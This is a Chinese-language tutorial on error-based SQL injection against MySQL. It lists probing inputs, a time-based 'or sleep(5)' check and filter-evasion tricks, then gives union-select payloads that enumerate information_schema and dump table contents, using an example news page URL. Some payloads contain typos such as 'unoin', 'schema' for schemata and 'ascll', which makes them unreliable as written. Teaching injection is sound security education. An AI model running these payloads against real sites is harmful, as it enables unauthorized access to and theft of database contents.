SQL注入本质
谈到SQL注入前我们先谈谈什么是注入
注入攻击的本质,是把用户输入的数据当做代码执行
有两个关键条件:
1.用户输入的数据控制输入
2.原本程序要执行的代码,拼接了用户输入的数据然后进行执行
SQL注入就是针对SQL语句的注入,也可以理解为用户输入的数据当作SQL语句的代码执行。
SQL注入是1998年一名叫做rfp的黑客发表的一篇文章所进入大众实现。
我们今天先介绍显错注入
显错注入的做法
判断注入点:
最古老的做法:
and 1=1 //页面正常
and 1=2 //页面不正常
最简单的方法: 页面传参后面加 ’ ,看是否报错
其他方法:
如果是数字型传参,可以尝试-1
例如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻
因为and 1=1 and 1=2 被拦截的可能性太高了
这里可以尝试and -1=-1 和and -1=-2
还可以 or sleep(5)
显错注入-联合查询(MySql数据库)基本流程
1.是否存在注入点
2.猜解字段数
3.联合查询寻找输出点
4.去系统自带库查询表名、字段名
5.查询我们需要的字段值
显错注入的过程
MYSQL注入:
判断当前页面字段总数
and 1=1 order by 1,2,3,4,5…
判断显示位:
and 1=2 union select 1,2,3,4,5…(这里union select 前面的语句为假时才会执行后面的语句)
查看当前数据库:
and 1=2 union select 1,2 schema_name from information_schema.schema
and 1=2 unoin select 1,2,database()
查询表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查询列名:
and 1=2 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name=表名的16进制 limit 0,1
查询字段内容:
and 1=2 union select 1,2,列名,4 from 表名 limit 0,1…
SQL注入常用函数:
group_concat(col) //返回由属于一组的列值连接组合而成的结果
ascll(char) //返回字符的ascll码值
database() //返回当前数据库名
system_user() //返回当前登录用户名
version() //返回mysql服务器的版本
sleep(n) //休眠n秒